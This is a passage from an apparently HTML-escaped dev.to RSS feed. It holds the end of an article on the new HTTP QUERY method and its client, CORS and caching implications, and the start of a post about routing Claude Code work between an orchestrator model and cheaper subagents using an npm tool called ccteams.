&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/products&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;QUERY&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;category&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;shoes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxPrice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;One detail worth knowing: axios ignores the body only on GET requests in browsers, because fetch and XHR do not allow it. For any other method, including QUERY, &lt;code&gt;data&lt;/code&gt; becomes the request body without touching &lt;code&gt;transformRequest&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The catch in browsers is CORS. QUERY is not a safelisted method like GET or POST, so cross-origin requests trigger a preflight. This applies to axios and fetch equally, since underneath it is the same mechanism. Your server has to answer the OPTIONS request with:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;Access-Control-Allow-Methods: GET, POST, QUERY, OPTIONS
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Same-origin requests need nothing. And in Node there is no CORS at all, so server-to-server QUERY calls work right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CDNs and proxies.&lt;/strong&gt; Here is the interesting signal: the RFC was co-authored by engineers from Cloudflare and Akamai. CDN support may land before your framework ships it. That is not a coincidence. Caching is where QUERY pays off the most.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovery.&lt;/strong&gt; The RFC also defines a response header, &lt;code&gt;Accept-Query&lt;/code&gt;. A server uses it to announce that an endpoint supports QUERY and which formats it accepts. So clients and tools can detect support instead of guessing.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;how-our-apps-will-change&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#how-our-apps-will-change&quot;&gt;
  &lt;/a&gt;
  How our apps will change
&lt;/h2&gt;

&lt;p&gt;This is the part I find more interesting than the spec itself. The migration is not just renaming a method. Some habits and workarounds simply stop making sense.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;1-the-fake-post-endpoints-disappear&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#1-the-fake-post-endpoints-disappear&quot;&gt;
  &lt;/a&gt;
  1. The fake POST endpoints disappear
&lt;/h3&gt;

&lt;p&gt;Every &lt;code&gt;/search&lt;/code&gt;, &lt;code&gt;/filter&lt;/code&gt;, &lt;code&gt;/reports&lt;/code&gt; endpoint that uses POST today is a QUERY endpoint waiting to happen. The body stays identical. Only the method changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// before&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/search&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// after&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;axios&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;QUERY&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/api/search&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filters&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This will be the first and easiest migration in most codebases.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;2-retry-logic-gets-simpler&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#2-retry-logic-gets-simpler&quot;&gt;
  &lt;/a&gt;
  2. Retry logic gets simpler
&lt;/h3&gt;

&lt;p&gt;Today, if a POST search times out, most clients do not retry. They can&#39;t. Maybe the server already processed it. So we write error screens and &quot;try again&quot; buttons.&lt;/p&gt;

&lt;p&gt;With QUERY, clients and SDKs can retry automatically. The request is idempotent by contract. A whole category of defensive code in mobile apps and flaky-network handling gets thinner.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;3-caching-layers-move-down-the-stack&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#3-caching-layers-move-down-the-stack&quot;&gt;
  &lt;/a&gt;
  3. Caching layers move down the stack
&lt;/h3&gt;

&lt;p&gt;Right now, caching a POST search means building it yourself. Redis, cache keys hashed from the body, invalidation logic. Application code.&lt;/p&gt;

&lt;p&gt;With QUERY, the CDN can do it. Same body, same cached response, standard HTTP semantics. A lot of hand-rolled cache layers will quietly get deleted.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;4-graphql-gets-a-proper-home&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#4-graphql-gets-a-proper-home&quot;&gt;
  &lt;/a&gt;
  4. GraphQL gets a proper home
&lt;/h3&gt;

&lt;p&gt;Every GraphQL query today travels over POST, even though almost all of them are pure reads. That is the most visible version of this problem. QUERY gives GraphQL correct semantics without touching the query language. Expect GraphQL clients and servers to adopt it early.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;5-urls-get-readable-again&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#5-urls-get-readable-again&quot;&gt;
  &lt;/a&gt;
  5. URLs get readable again
&lt;/h3&gt;

&lt;p&gt;We have all seen this:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight http&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;GET /products?filters=%7B%22category%22%3A%22shoes%22%7D&amp;amp;sort=price
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;JSON, URL-encoded, jammed into a query param because the framework offered nothing better. Those endpoints migrate to QUERY and the URL goes back to being just &lt;code&gt;/products&lt;/code&gt;. Cleaner logs too. Query bodies do not end up in access logs and bookmarks the way URLs do.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;6-reading-an-api-becomes-selfdocumenting&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#6-reading-an-api-becomes-selfdocumenting&quot;&gt;
  &lt;/a&gt;
  6. Reading an API becomes self-documenting
&lt;/h3&gt;

&lt;p&gt;When the method itself tells you if an endpoint reads or writes, documentation gets lighter and integration mistakes go down. New devs on your team stop asking &quot;does this POST actually change anything?&quot;&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-i-would-do-now&quot; href=&quot;https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p#what-i-would-do-now&quot;&gt;
  &lt;/a&gt;
  What I would do now
&lt;/h2&gt;

&lt;p&gt;Nothing dramatic. But you can prepare:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Audit your API. List every POST endpoint that only reads. Those are your future QUERY endpoints.&lt;/li&gt;
&lt;li&gt;Check your infra. WAFs, proxies and method whitelists that would block an unknown method.&lt;/li&gt;
&lt;li&gt;Watch your framework&#39;s releases through 2026 and 2027.&lt;/li&gt;
&lt;li&gt;If you control both client and server, nothing stops you from experimenting now with a small middleware.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Twenty years for a new HTTP method. The migration will take a while. The direction is already clear.&lt;/p&gt;


            </description><link>https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p</link><guid isPermaLink="false">https://dev.to/andresclua/http-just-got-its-first-new-method-in-20-years-heres-why-you-should-care-2h5p</guid><pubDate>Fri, 03 Jul 2026 12:00:27 GMT</pubDate><author>Andrés Clúa</author><category>architecture</category><category>api</category><category>webdev</category><category>http</category></item><item><title>Use Fable 5 where it pays for itself</title><description>&lt;p&gt;Claude Fable 5 is the model I reach for in Claude Code when a task is ambiguous, long-running, or full of tradeoffs — planning across steps, untangling a messy goal, weighing a design choice, keeping a long session pointed in the right direction. It&#39;s genuinely good at the hard parts.&lt;/p&gt;

&lt;p&gt;Which is exactly why I stopped letting it do the easy ones. At $10 per million input tokens and $50 per million output — double Opus 4.8&#39;s $5 / $25 — spending it on boilerplate and lint fixes is like paying a principal engineer to reformat your imports. The work still needs doing. It just doesn&#39;t need &lt;em&gt;that&lt;/em&gt; person doing it.&lt;/p&gt;

&lt;p&gt;A Claude Code task is rarely one task. Take a one-liner like:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;Add rate limiting to our API.
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Sounds small. But it unfolds into work of very different weights:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;deciding the algorithm — token bucket, sliding window, fixed window&lt;/li&gt;
&lt;li&gt;choosing where the counter lives — in-memory, or Redis because we run multiple instances&lt;/li&gt;
&lt;li&gt;thinking through what happens under a burst, and what a client sees on a 429&lt;/li&gt;
&lt;li&gt;writing the middleware&lt;/li&gt;
&lt;li&gt;wiring it into every route&lt;/li&gt;
&lt;li&gt;writing the tests&lt;/li&gt;
&lt;li&gt;fixing the lint and type errors&lt;/li&gt;
&lt;li&gt;checking the edge cases — clock skew, the limiter itself failing, keys never expiring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first three are real design decisions — the kind where a wrong call is expensive and annoying to unwind six months later. The rest is execution: careful work, but not work that rewards a frontier model over a merely-very-good one.&lt;/p&gt;

&lt;p&gt;So I don&#39;t try to replace Fable 5. I just keep it on the decisions and hand everything else to something cheaper.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;make-fable-5-the-lead-not-the-labor&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#make-fable-5-the-lead-not-the-labor&quot;&gt;
  &lt;/a&gt;
  Make Fable 5 the lead, not the labor
&lt;/h2&gt;

&lt;p&gt;Concretely, that means treating Fable 5 like a tech lead: it plans and delegates, and other models do the actual building.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fable 5 = orchestrator&lt;/strong&gt; — plans, decomposes, synthesizes. Writes no code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Opus = deep reasoning subagent&lt;/strong&gt; — architecture, complex debugging, review&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sonnet = mechanical work subagent&lt;/strong&gt; — implementation, boilerplate, tests, chores&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;(Optionally) Codex = peer senior engineer&lt;/strong&gt; — an independent second opinion from a different model family&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fable 5 thinks, delegates, and stitches the results together; the cheaper models handle work they&#39;re already good at. So the pricey model is only on the clock for the steps that actually reward its judgment.&lt;/p&gt;

&lt;p&gt;The token savings were what I was after. What I didn&#39;t expect was the second effect: because Fable 5 never touches raw file contents or stack traces, its context stays clean, and it&#39;s still making sharp calls six hours into a session instead of drowning in half-finished edits.&lt;/p&gt;

&lt;p&gt;I figured that was the whole setup — three quick steps. It wasn&#39;t.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-hard-part-is-the-subagents&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#the-hard-part-is-the-subagents&quot;&gt;
  &lt;/a&gt;
  The hard part is the subagents
&lt;/h2&gt;

&lt;p&gt;On paper, it&#39;s three steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt; → Fable 5&lt;/li&gt;
&lt;li&gt;Create subagents with &lt;code&gt;/agents&lt;/code&gt;, pinned to Opus and Sonnet&lt;/li&gt;
&lt;li&gt;Write routing rules in your CLAUDE.md — which work goes to whom&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Step 1 takes ten seconds.&lt;/p&gt;

&lt;p&gt;Steps 2 and 3 are where the actual work is. Creating a subagent is fast. Creating one that pulls its weight is not.&lt;/p&gt;

&lt;p&gt;Three things I learned the hard way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The &lt;code&gt;description&lt;/code&gt; field decides who gets the work.&lt;/strong&gt; The orchestrator picks a subagent by reading its description. &lt;code&gt;&quot;Use for reasoning-heavy tasks&quot;&lt;/code&gt; is vague enough that the routing quietly drifts, and you don&#39;t notice until an answer comes back wrong.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The system prompt decides what comes back.&lt;/strong&gt; Subagents can&#39;t see your conversation. If the prompt doesn&#39;t say what to read before acting and what to return — a conclusion, a diff, &lt;code&gt;file:line&lt;/code&gt; findings — the orchestrator ends up cleaning up after them. Which is the one thing you were trying to avoid.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&quot;Thinker&quot; and &quot;doer&quot; is too few roles.&lt;/strong&gt; It&#39;s a reasonable start. But real work splits into scoping, design, implementation, verification, and shipping. Collapse verification into the builder, and you have an agent reviewing its own code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The decision that actually takes time, then, isn&#39;t picking models — it&#39;s writing a team of subagents whose roles are sharp enough that delegation just works. And that&#39;s a surprising amount of careful prose.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;ccteams-install-the-team-design-in-one-command&quot; href=&quot;https://dev.to/toffy/use-fable-5-where-it-pays-for-itself-1809#ccteams-install-the-team-design-in-one-command&quot;&gt;
  &lt;/a&gt;
  ccteams: install the team design in one command
&lt;/h2&gt;

&lt;p&gt;This is the part I got tired of rewriting by hand, so I built a tool for it: &lt;a href=&quot;https://www.npmjs.com/package/ccteams&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ccteams&lt;/a&gt;, a &lt;strong&gt;package manager for Claude Code agent teams&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ccteams
ccteams list           &lt;span class=&quot;c&quot;&gt;# see the teams&lt;/span&gt;
ccteams use generalist &lt;span class=&quot;c&quot;&gt;# apply one to the current project&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That single command drops a full set of role-specialized subagents into &lt;code&gt;.claude/&lt;/code&gt; — descriptions, system prompts, tool restrictions, &lt;strong&gt;and a &lt;code&gt;model:&lt;/code&gt; per agent&lt;/strong&gt; already written — &lt;strong&gt;plus the orchestration rules&lt;/strong&gt; that tell the lead session how to run them. Step 3 above (hand-writing routing rules in CLAUDE.md) ships in the box. So does the model assignment — more on that below.&lt;/p&gt;

&lt;p&gt;Teams come stack-specific out of the box:&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Team&lt;/th&gt;
&lt;th&gt;What it&#39;s for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;generalist&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stack-agnostic feature team: scope → design → build → QA → ship&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;next-ts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Next.js (App Router) + TypeScript + Tailwind&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;go-api&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Go HTTP API backends&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;python-fastapi&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;FastAPI + Pydantic v2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;rails&lt;/code&gt; / &lt;code&gt;django&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Rails / Django + DRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;debug&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reproduce → root-cause → minimal fix → regression test&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;research&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Technical research that writes no code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Prefer staying inside Claude Code? There&#39;s a plugin:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;/plugin marketplace add toffyui/ccteams
/plugin &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;ccteams@ccteams
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
